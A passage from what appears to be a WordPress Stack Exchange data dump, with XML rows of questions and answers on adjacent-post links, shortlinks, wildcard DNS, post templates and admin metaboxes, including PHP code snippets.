$wpdb-&amp;gt;get_results( $wpdb-&amp;gt;prepare( &quot;SELECT p.* FROM wp_posts AS p $join WHERE p.post_date $op '%s' AND p.post_type = 'post' AND p.post_status = 'publish' ORDER BY p.post_date DESC LIMIT $limit&quot;, $post-&amp;gt;post_date, $post-&amp;gt;post_type ) );&#xA;&#xA;    return $posts;&#xA;}&#xA;&#xA;function custom_adjacent_posts_links( $in_same_cat = false, $previous = true, $limit = 2 ) {&#xA;    $prev_posts = custom_get_adjacent_posts( $in_same_cat, $previous, $limit );&#xA;    if( !empty($prev_posts) ) {&#xA;        echo ($previous) ? '&amp;lt;h3&amp;gt;Previous Posts:&amp;lt;/h3&amp;gt;' : '&amp;lt;h3&amp;gt;Next Posts:&amp;lt;/h3&amp;gt;';&#xA;        echo '&amp;lt;ul&amp;gt;';&#xA;        foreach( $prev_posts as $prev_post ) {&#xA;            $title = apply_filters('the_title', $prev_post-&amp;gt;post_title, $prev_post-&amp;gt;ID);&#xA;            echo '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;' . get_permalink( $prev_post ) . '&quot;&amp;gt;' .$title . '&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;        }&#xA;        echo '&amp;lt;/ul&amp;gt;';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your sidebar file, where you want to display the posts, use &lt;code&gt;custom_adjacent_posts_links( true );&lt;/code&gt; to display the two previous posts in the same category and &lt;code&gt;custom_adjacent_posts_links( true, false );&lt;/code&gt; to display the next two posts in the same category.&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-10-10T11:42:36.257" CommentCount="2" />
  <row Id="2762" PostTypeId="2" ParentId="2751" CreationDate="2010-10-10T15:52:55.320" Score="2" ViewCount="" Body="&lt;p&gt;You already get shortlinks of the form &lt;code&gt;?p=post_id&lt;/code&gt;, so &lt;a href=&quot;http://nerdgap.com/?p=66&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;http://nerdgap.com/?p=66&lt;/code&gt;&lt;/a&gt; points to &lt;a href=&quot;http://nerdgap.com/great-big-update-plus-giveaway/&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;http://nerdgap.com/great-big-update-plus-giveaway/&lt;/code&gt;&lt;/a&gt;. You could exploit this by creating a simple redirection from &lt;code&gt;http://g4p.it/{$post_id}&lt;/code&gt; to &lt;code&gt;http://nerdgap.com/?p={$post_id}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then integrate this in your editor (the &lt;em&gt;&quot;Get Shortlink&quot;&lt;/em&gt; button) and add a &lt;code&gt;&amp;lt;link rel=&quot;shortlink&quot;&amp;gt;&lt;/code&gt; in your header by hooking into the &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/link-template.php#L2176&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;pre_get_shortlink&lt;/code&gt;&lt;/a&gt; filter, and returning &lt;code&gt;http://g4p.it/{$post_id}&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-10-10T15:52:55.320" />
  <row Id="2763" PostTypeId="2" ParentId="2753" CreationDate="2010-10-10T16:10:51.093" Score="2" ViewCount="" Body="&lt;p&gt;This seems possible to me. Most of this is related to server management and not only WordPress, so probably &lt;a href=&quot;http://serverfault.com/search?q=wildcard+dns&quot;&gt;Server Fault also has interesting info on this&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the DNS side, you would create a wildcard to the server with WordPress, and define your other subdomains to the servers that host those (some or all of them can be the same as the WordPress server). &lt;a href=&quot;http://serverfault.com/questions/128673/where-would-a-wildcard-dns-record-be-prioritized/128724#128724&quot;&gt;Wildcards always have the least priority&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the server side it is useful to know that if a request reaches Apache but it finds no matching &lt;code&gt;ServerName&lt;/code&gt; or &lt;code&gt;ServerAlias&lt;/code&gt; in a &lt;code&gt;&amp;lt;VirtualHost&amp;gt;&lt;/code&gt;, the first virtual host is returned. So you configure the WordPress setup as the first host and the others running on that server after it.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-10-10T16:10:51.093" />
  <row Id="2764" PostTypeId="1" CreationDate="2010-10-10T17:11:17.373" Score="1" ViewCount="454" Body="&lt;p&gt;I am a member of a community blog site run by WordPress engine. But I often feel that if there were a notification system like Facebook tracking the site would be much easier. I know about the notification emails and RSS feeds but those do not serve the whole purpose. I need to have notification when:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Somebody comments on any of my blog posts.&lt;/li&gt;&#xA;&lt;li&gt;Somebody comments after any of my comments in any posts.&lt;/li&gt;&#xA;&lt;li&gt;My blog post is rated.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Almost like Facebook. Is there any plugin for that?&lt;/p&gt;&#xA;" OwnerUserId="1202" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-10T13:43:12.287" LastActivityDate="2010-12-12T19:02:14.590" Title="Facebook-like Notification Plugin for WordPress Community Blog Sites?" Tags="&lt;plugins&gt;&lt;plugin-recommendation&gt;&lt;facebook&gt;&lt;notifications&gt;&lt;community&gt;" AnswerCount="3" CommentCount="6" />
  <row Id="2765" PostTypeId="1" AcceptedAnswerId="2769" CreationDate="2010-10-10T17:40:15.960" Score="3" ViewCount="2029" Body="&lt;p&gt;&lt;em&gt;(&lt;strong&gt;Moderators note:&lt;/strong&gt; Title was originally &quot;How can I add the &quot;Page Attributes&quot; and/or &quot;Page Attributes &gt; Template&quot; selector to POSTS editor&quot;)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WP currently only allows the assignment of a &quot;template&quot; to Pages (i.e. &lt;code&gt;post_type=='page'&lt;/code&gt;.) I'd like to extend this functionality to Posts as well (i.e. &lt;code&gt;post_type=='post'&lt;/code&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I add the &lt;em&gt;&quot;Page Attributes&quot;&lt;/em&gt; meta box and more specifically, the template switcher to the posts editor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm assuming this is code I will place in my &lt;code&gt;functions.php&lt;/code&gt; for my theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: I've managed to add the hardcoded templates pulldown menu to my post editor, by simply adding the select box html to my existing custom meta options box. Here's the code I'm using for that...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_meta_box('categorydiv2', __('Post Options'), 'post_categories_meta_box_modified', 'post', 'side', 'high');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here's the function that writes out the options and the template select box...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//adds the custom categories box&#xA;function post_categories_meta_box_modified() {&#xA;    global $post;&#xA;    if( get_post_meta($post-&amp;gt;ID, '_noindex', true) ) $noindexChecked = &quot; checked='checked'&quot;;&#xA;    if( get_post_meta($post-&amp;gt;ID, '_nofollow', true) ) $nofollowChecked = &quot; checked='checked'&quot;;&#xA;?&amp;gt;&#xA;&amp;lt;div id=&quot;categories-all&quot; class=&quot;ui-tabs-panel&quot;&amp;gt;&#xA;    &amp;lt;ul id=&quot;categorychecklist&quot; class=&quot;list:category categorychecklist form-no-clear&quot;&amp;gt;&#xA;        &amp;lt;li id='noIndex' class=&quot;popular-category&quot;&amp;gt;&amp;lt;label class=&quot;selectit&quot;&amp;gt;&amp;lt;input value=&quot;noIndex&quot; type=&quot;checkbox&quot; name=&quot;chk_noIndex&quot; id=&quot;chk_noIndex&quot;&amp;lt;?php echo $noindexChecked ?&amp;gt; /&amp;gt; noindex&amp;lt;/label&amp;gt;&amp;lt;/li&amp;gt; &#xA;        &amp;lt;li id='noFollow' class=&quot;popular-category&quot;&amp;gt;&amp;lt;label class=&quot;selectit&quot;&amp;gt;&amp;lt;input value=&quot;noFollow&quot; type=&quot;checkbox&quot; name=&quot;chk_noFollow&quot; id=&quot;chk_noFollow&quot;&amp;lt;?php echo $nofollowChecked ?&amp;gt; /&amp;gt; nofollow&amp;lt;/label&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Template&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt; &#xA;    &amp;lt;label class=&quot;screen-reader-text&quot; for=&quot;page_template&quot;&amp;gt;Post Template&amp;lt;/label&amp;gt;&amp;lt;select name=&quot;page_template&quot; id=&quot;page_template&quot;&amp;gt; &#xA;    &amp;lt;option value='default'&amp;gt;Default Template&amp;lt;/option&amp;gt; &#xA;    &amp;lt;option value='template-wide.php' &amp;gt;No Sidebar&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value='template-salespage.php' &amp;gt;Salespage&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/select&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And finally, the code to capture the selected values on save...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function save_post_categories_meta($post_id) {&#xA;    if ( defined('DOING_AUTOSAVE') &amp;amp;&amp;amp; DOING_AUTOSAVE ) return $post_id;&#xA;    $noIndex = $_POST['chk_noIndex'];&#xA;    $noFollow = $_POST['chk_noFollow'];&#xA;    update_post_meta( $post_id, '_noindex', $noIndex );&#xA;    update_post_meta( $post_id, '_nofollow', $noFollow );&#xA;    return $post_id;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, I believe all that's left is (1) capturing the selected template and adding it to the post meta for this post and (2) modifying index.php and single.php so that it uses the chosen template.&lt;/p&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2010-10-10T23:02:50.980" LastActivityDate="2011-03-01T15:37:01.480" Title="Adding Page Attributes Metabox and Page Templates to the Posts Edit Page?" Tags="&lt;template&gt;&lt;page-attributes&gt;&lt;posts&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" />
  <row Id="2766" PostTypeId="2" ParentId="2765" CreationDate="2010-10-10T17:59:15.387" Score="0" ViewCount="" Body="&lt;p&gt;You can use the plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-post-template/&quot; rel=&quot;nofollow&quot;&gt;Custom Post Template&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-10-10T17:59:15.387" CommentCount="1" />
  <row Id="2767" PostTypeId="1" AcceptedAnswerId="2789" CreationDate="2010-10-10T20:42:32.540" Score="5" ViewCount="147" Body="&lt;p&gt;I knew about Atom-based dedicated servers, but &lt;a href=&quot;http://www.lowendbox.com/blog/pluggr-info-4-50month-sheevaplug-dedicated-server-140-setup/&quot; rel=&quot;nofollow&quot;&gt;these plug-class servers&lt;/a&gt; take it to whole new level of low-end extreme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of WordPress optimization talk is about surviving on shared hosting or scaling up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got curious - how viable is it to run WordPress on such low-end, but dedicated hardware? At which point will CPU or slow storage become bottleneck? How will it compare to generic shared hosting (even lower resources, but no neighbors and freedom to optimize).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-11T12:55:10.853" Title="Running WordPress on low-end hardware/resources?" Tags="&lt;hosting&gt;&lt;optimization&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" />
  <row Id="2768" PostTypeId="2" ParentId="2337" CreationDate="2010-10-10T21:51:35.757" Score="1" ViewCount="" Body="&lt;p&gt;There are ways of doing it; &lt;a href=&quot;http://www.synchrosinteractive.com/blog/3-websites/45-secure-login-from-a-non-secure-url-without-reloading-page&quot; rel=&quot;nofollow&quot;&gt;this way&lt;/a&gt;, for instance. My guess is that Login With Ajax isn't using all of the techniques described in that article, and some browser security feature is blocking it. Try getting in touch with the developer and suggesting improvements, with a pointer to that article.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2010-10-10T21:51:35.757" CommentCount="2" />
  <row Id="2769" PostTypeId="2" ParentId="2765" CreationDate="2010-10-10T23:11:33.373" Score="4" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;Scott B:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hate to be the bearer of bad news but &lt;strong&gt;WordPress hardcodes the Page Template functionality to the &lt;em&gt;&quot;page&quot;&lt;/em&gt; post type&lt;/strong&gt;, at least in v3.0 &lt;em&gt;(that might change in future versions but there's not a specific initiative I'm aware of to change it yet. So this is one of the very few times I'm struggling to figure out how to get around something without hacking core.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution I've come up with is to basically copy the relevant code from WordPress core and modify it to our needs. Here are the steps (the line numbers are from v3.0.1):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Copy the &lt;code&gt;page_attributes_meta_box()&lt;/code&gt; function&lt;/strong&gt; from line 535 of &lt;code&gt;/wp-admin/includes/meta-boxes.php&lt;/code&gt; and modify to suit.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Code an &lt;code&gt;add_meta_boxes&lt;/code&gt; hook&lt;/strong&gt; to add the metabox created in #1.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Copy the &lt;code&gt;get_page_templates()&lt;/code&gt; function&lt;/strong&gt; from line 166 of &lt;code&gt;/wp-admin/includes/theme.php&lt;/code&gt; &#xA;and modify to suit.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Copy the &lt;code&gt;page_template_dropdown()&lt;/code&gt; function&lt;/strong&gt; from line 2550 of &lt;code&gt;/wp-admin/includes/template.php&lt;/code&gt; and modify to suit.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Add a Post Template&lt;/strong&gt; to your theme.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Code a &lt;code&gt;save_post&lt;/code&gt; hook&lt;/strong&gt; to enable storing of the post template file name upon save.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Code a &lt;code&gt;single_template&lt;/code&gt; hook&lt;/strong&gt; to enable loading of the post template for the associated posts. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now on with it!&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;1. Copy the &lt;code&gt;page_attributes_meta_box()&lt;/code&gt; function&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;As our first step you need to copy the &lt;code&gt;page_attributes_meta_box()&lt;/code&gt; function from line 535 of &lt;code&gt;/wp-admin/includes/meta-boxes.php&lt;/code&gt; and I've chosen to rename it &lt;code&gt;post_template_meta_box()&lt;/code&gt;. Since you only asked for page templates I omitted the code for specifying a parent post and for specifying the order which makes the code much simpler. I also chose to use postmeta for this rather than try to reuse the &lt;code&gt;page_template&lt;/code&gt; object property in order to avoid and potential incompatibilities caused by unintentional coupling. So here's the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function post_template_meta_box($post) {&#xA;  if ( 'post' == $post-&amp;gt;post_type &amp;amp;&amp;amp; 0 != count( get_post_templates() ) ) {&#xA;    $template = get_post_meta($post-&amp;gt;ID,'_post_template',true);&#xA;    ?&amp;gt;&#xA;&amp;lt;label class=&quot;screen-reader-text&quot; for=&quot;post_template&quot;&amp;gt;&amp;lt;?php _e('Post Template') ?&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;select name=&quot;post_template&quot; id=&quot;post_template&quot;&amp;gt;&#xA;&amp;lt;option value='default'&amp;gt;&amp;lt;?php _e('Default Template'); ?&amp;gt;&amp;lt;/option&amp;gt;&#xA;&amp;lt;?php post_template_dropdown($template); ?&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&amp;lt;?php&#xA;  } ?&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;2. Code an &lt;code&gt;add_meta_boxes&lt;/code&gt; hook&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Next step is to add the metabox using the &lt;code&gt;add_meta_boxes&lt;/code&gt; hook:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('add_meta_boxes','add_post_template_metabox');&#xA;function add_post_template_metabox() {&#xA;    add_meta_box('postparentdiv', __('Post Template'), 'post_template_meta_box', 'post', 'side', 'core');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;3. Copy the &lt;code&gt;get_page_templates()&lt;/code&gt; function&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I assumed it would only make sense to differentiate between page templates and post template  thus the need for a &lt;code&gt;get_post_templates()&lt;/code&gt; function based on &lt;code&gt;get_page_templates()&lt;/code&gt; from line 166 of &lt;code&gt;/wp-admin/includes/theme.php&lt;/code&gt;. But instead of using the &lt;code&gt;Template Name:&lt;/code&gt; marker which page templates use this function uses a &lt;code&gt;Post Template:&lt;/code&gt; marker instead which you can see below. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also filtered out inspection of &lt;code&gt;functions.php&lt;/code&gt; &lt;em&gt;(not sure how &lt;code&gt;get_page_templates()&lt;/code&gt; ever worked correctly without that, but whatever!)&lt;/em&gt; And the only thing left is to change references to the word &lt;code&gt;page&lt;/code&gt; to &lt;code&gt;post&lt;/code&gt; for maintenance readability down the road:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_post_templates() {&#xA;  $themes = get_themes();&#xA;  $theme = get_current_theme();&#xA;  $templates = $themes[$theme]['Template Files'];&#xA;  $post_templates = array();&#xA;&#xA;  if ( is_array( $templates ) ) {&#xA;    $base = array( trailingslashit(get_template_directory()), trailingslashit(get_stylesheet_directory()) );&#xA;&#xA;    foreach ( $templates as $template ) {&#xA;      $basename = str_replace($base, '', $template);&#xA;      if ($basename != 'functions.php') {&#xA;        // don't allow template files in subdirectories&#xA;        if ( false !== strpos($basename, '/') )&#xA;          continue;&#xA;&#xA;        $template_data = implode( '', file( $template ));&#xA;&#xA;        $name = '';&#xA;        if ( preg_match( '|Post Template:(.*)$|mi', $template_data, $name ) )&#xA;          $name = _cleanup_header_comment($name[1]);&#xA;&#xA;        if ( !empty( $name ) ) {&#xA;          $post_templates[trim( $name )] = $basename;&#xA;        }&#xA;      }&#xA;    }&#xA;  }&#xA;&#xA;  return $post_templates;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;4. Copy the &lt;code&gt;page_template_dropdown()&lt;/code&gt; function&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Similarly copy &lt;code&gt;page_template_dropdown()&lt;/code&gt; from line 2550 of &lt;code&gt;/wp-admin/includes/template.php&lt;/code&gt; to create &lt;code&gt;post_template_dropdown()&lt;/code&gt; and simply change it to call &lt;code&gt;get_post_templates()&lt;/code&gt; instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function post_template_dropdown( $default = '' ) {&#xA;  $templates = get_post_templates();&#xA;  ksort( $templates );&#xA;  foreach (array_keys( $templates ) as $template )&#xA;    : if ( $default == $templates[$template] )&#xA;      $selected = &quot; selected='selected'&quot;;&#xA;    else&#xA;      $selected = '';&#xA;  echo &quot;\n\t&amp;lt;option value='&quot;.$templates[$template].&quot;' $selected&amp;gt;$template&amp;lt;/option&amp;gt;&quot;;&#xA;  endforeach;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;5. Add a Post Template&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Next step is to add a post template for testing. Using the &lt;code&gt;Post Template:&lt;/code&gt; marker mentioned in step #3 copy &lt;code&gt;single.php&lt;/code&gt; from your theme to &lt;code&gt;single-test.php&lt;/code&gt; and add the following comment header (&lt;em&gt;be sure to modify something in &lt;code&gt;single-test.php&lt;/code&gt; so you can tell it is loading instead of &lt;code&gt;single.php&lt;/code&gt;)&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Post Template: My Test Template&#xA; */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once you've done steps #1 thru #5 you can see your &lt;em&gt;&quot;Post Templates&quot;&lt;/em&gt; metabox appear on your post editor page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20101010-183833.png&quot; alt=&quot;What a Post Templates Metabox looked like when added to WordPress 3.0&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;6. Code a &lt;code&gt;save_post&lt;/code&gt; hook&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Now that you have the editor squared away you need to actually save your page template file name to postmeta when the user clicks &quot;Publish&quot;. Here's the code for that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('save_post','save_post_template',10,2);&#xA;function save_post_template($post_id,$post) {&#xA;  if ($post-&amp;gt;post_type=='post' &amp;amp;&amp;amp; !empty($_POST['post_template']))&#xA;    update_post_meta($post-&amp;gt;ID,'_post_template',$_POST['post_template']);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;7. Code a &lt;code&gt;single_template&lt;/code&gt; hook&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;And lastly you need to actually get WordPress to use your new post templates. You do that by hooking &lt;code&gt;single_template&lt;/code&gt; and returning your desired template name for those posts that have had one assigned:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('single_template','get_post_template_for_template_loader');&#xA;function get_post_template_for_template_loader($template) {&#xA;  global $wp_query;&#xA;  $post = $wp_query-&amp;gt;get_queried_object();&#xA;  if ($post) {&#xA;    $post_template = get_post_meta($post-&amp;gt;ID,'_post_template',true);&#xA;    if (!empty($post_template) &amp;amp;&amp;amp; $post_template!='default')&#xA;      $template = get_stylesheet_directory() . &quot;/{$post_template}&quot;;&#xA;  }&#xA;  return $template;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And that's about it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE&lt;/strong&gt; that I &lt;strong&gt;&lt;em&gt;did not&lt;/em&gt;&lt;/strong&gt; take into consideration &lt;strong&gt;Custom Post Types&lt;/strong&gt;, only &lt;code&gt;post_type=='post'&lt;/code&gt;. In my opinion addressing custom post types would require differentiating between the different post types and, while not overly difficult, I didn't attempt that here.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-10-10T23:11:33.373" CommentCount="6" />
  <row Id="2770" PostTypeId="1" AcceptedAnswerId="5046" CreationDate="2010-10-11T01:50:36.113" Score="6" ViewCount="650" Body="&lt;p&gt;Although I am very thankful to the wordpress core team that they have finally integrated native menu management capabilities I get frustrated with some key elements which I would like to change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need a way of showing pages which is hierarchical in the same way hierarchical categories are displayed instead of being in a list and I need a way of manually including links which can be added to a menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can this be done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATED&lt;/strong&gt;&#xA;So, here are the two things I am trying to do. Currently if you go to the default wordpress &quot;menu management&quot; admin screen you can select to display the &quot;pages&quot; metabox on the left. The problem here is that when you click on the &quot;view all&quot; tab NONE of the pages are ordered correctly and they are not indented if applicable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CURRENT DEFAULT LAYOUT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/NEpXi.png&quot; alt=&quot;CURRENT DEFAULT WP ORGANIZATION&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;DESIRED LAYOUT:&lt;/strong&gt; (please note that I just indented them to show the parent relationship, the items should also be sorted based on their sort order).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/7GulS.png&quot; alt=&quot;what i would like&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, within this list (or if easier then within its own metabox) I need some way of hard coding links which should be presented in the form of a checkbox list so one can click elements and include them within the menu. The reason for this is that instead of having to manually add these elements using the &quot;custom links&quot; I would prefer to select them from a list.&lt;/p&gt;&#xA;" OwnerUserId="479" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-06T15:02:34.543" LastActivityDate="2011-02-06T15:02:34.543" Title="How to add a custom metabox to the Menu Management admin screen?" Tags="&lt;wp-admin&gt;&lt;custom-menus&gt;&lt;functions&gt;&lt;hierarchical&gt;" AnswerCount="2" CommentCount="12" FavoriteCount="5" />
  <row Id="2771" PostTypeId="1" CreationDate="2010-10-11T02:10:34.790" Score="1" ViewCount="510" Body="&lt;p&gt;I am utilizing the following code which transforms any hierarchical page or custom post type with the ability to reorder the the pages through simple drag/drop. (also this code also adds a new display filter to hierarchical pages to make things simpler).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I need help with which currently does not work is being able to drag one page tree into another page tree or out of an existing page tree.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone please provide the code modifications required to extend this capability?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you know of a better way to achieve the same objectives with different code instead of extending the code provided below please also post it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATED:&lt;/strong&gt; I have also posted the code here: &lt;a href=&quot;https://gist.github.com/812204&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/812204&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; for all those individuals who would like to test this out just do the follow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1st Copy/past the code below in your themes functions.php&quot; file.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;///////////////////////////////////////////////////////////////////////////////////////////&#xA;// CODE TO ADD POST PER PAGE FILTER&#xA;///////////////////////////////////////////////////////////////////////////////////////////    &#xA;    add_filter( 'edit_posts_per_page', 'reorder_edit_posts_per_page', 10, 2 );&#xA;    function reorder_edit_posts_per_page( $per_page, $post_type ) {&#xA;&#xA;        // CHECK USER PERMISSIONS&#xA;        if ( !current_user_can('edit_others_pages') )&#xA;            return;&#xA;        $post_type_object = get_post_type_object( $post_type );&#xA;&#xA;        // ONLY APPLY TO HIERARCHICAL POST TYPE&#xA;        if ( !$post_type_object-&amp;gt;hierarchical )&#xA;            return;&#xA;&#xA;        // ADD POST PER PAGE DROP DOWN UI&#xA;        add_action( 'restrict_manage_posts', 'reorder_posts_per_page_filter' );&#xA;&#xA;        // ADD SPECIAL STYLES (MOVE CURSOR &amp;amp; SPINNING LOADER AFTER REORDER)&#xA;        wp_enqueue_script( 'page-ordering', get_bloginfo('stylesheet_directory') . '/custom/js/page-resorting.js', array('jquery-ui-sortable'), '0.8.4', true );&#xA;        add_action( 'admin_print_styles', 'reorder_admin_styles' );&#xA;&#xA;        if ( isset( $_GET['spo'] ) &amp;amp;&amp;amp; is_numeric( $_GET['spo'] ) &amp;amp;&amp;amp; ( $_GET['spo'] == -1 || ($_GET['spo']%10) == 0 ) ) :&#xA;            global $edit_per_page, $user_ID;&#xA;            $per_page = $_GET['spo'];&#xA;            if ( $per_page == -1 )&#xA;                $per_page = 99999;&#xA;            update_user_option( $user_ID, $edit_per_page, $per_page );&#xA;        endif;&#xA;        return $per_page;&#xA;    }&#xA;&#xA;&#xA;    // STYLING CSS FOR THE AJAX&#xA;       function reorder_admin_styles() {&#xA;        echo '&amp;lt;style type=&quot;text/css&quot;&amp;gt;table.widefat tbody th, table.widefat tbody td { cursor: move; }&amp;lt;/style&amp;gt;';&#xA;       }&#xA;&#xA;&#xA;    // FUNCTION TO CREATE THE NUMBER OF POSTS PER PAGE DROPDOWN UI&#xA;       function reorder_posts_per_page_filter() {&#xA;        global $per_page;       &#xA;        $spo = isset($_GET['spo']) ? (int)$_GET['spo'] : $per_page;&#xA;       ?&amp;gt;&#xA;        Display:&amp;lt;select name=&quot;spo&quot; style=&quot;width: 100px;&quot;&amp;gt;&#xA;            &amp;lt;option&amp;lt;?php selected( $spo, -1 ); ?&amp;gt; value=&quot;-1&quot;&amp;gt;&amp;lt;?php _e('All Results'); ?&amp;gt;&amp;lt;/option&amp;gt;&#xA;            &amp;lt;?php for( $i=10;$i&amp;lt;=100;$i+=10 ) : ?&amp;gt;&#xA;            &amp;lt;option&amp;lt;?php selected( $spo, $i ); ?&amp;gt; value=&quot;&amp;lt;?php echo $i 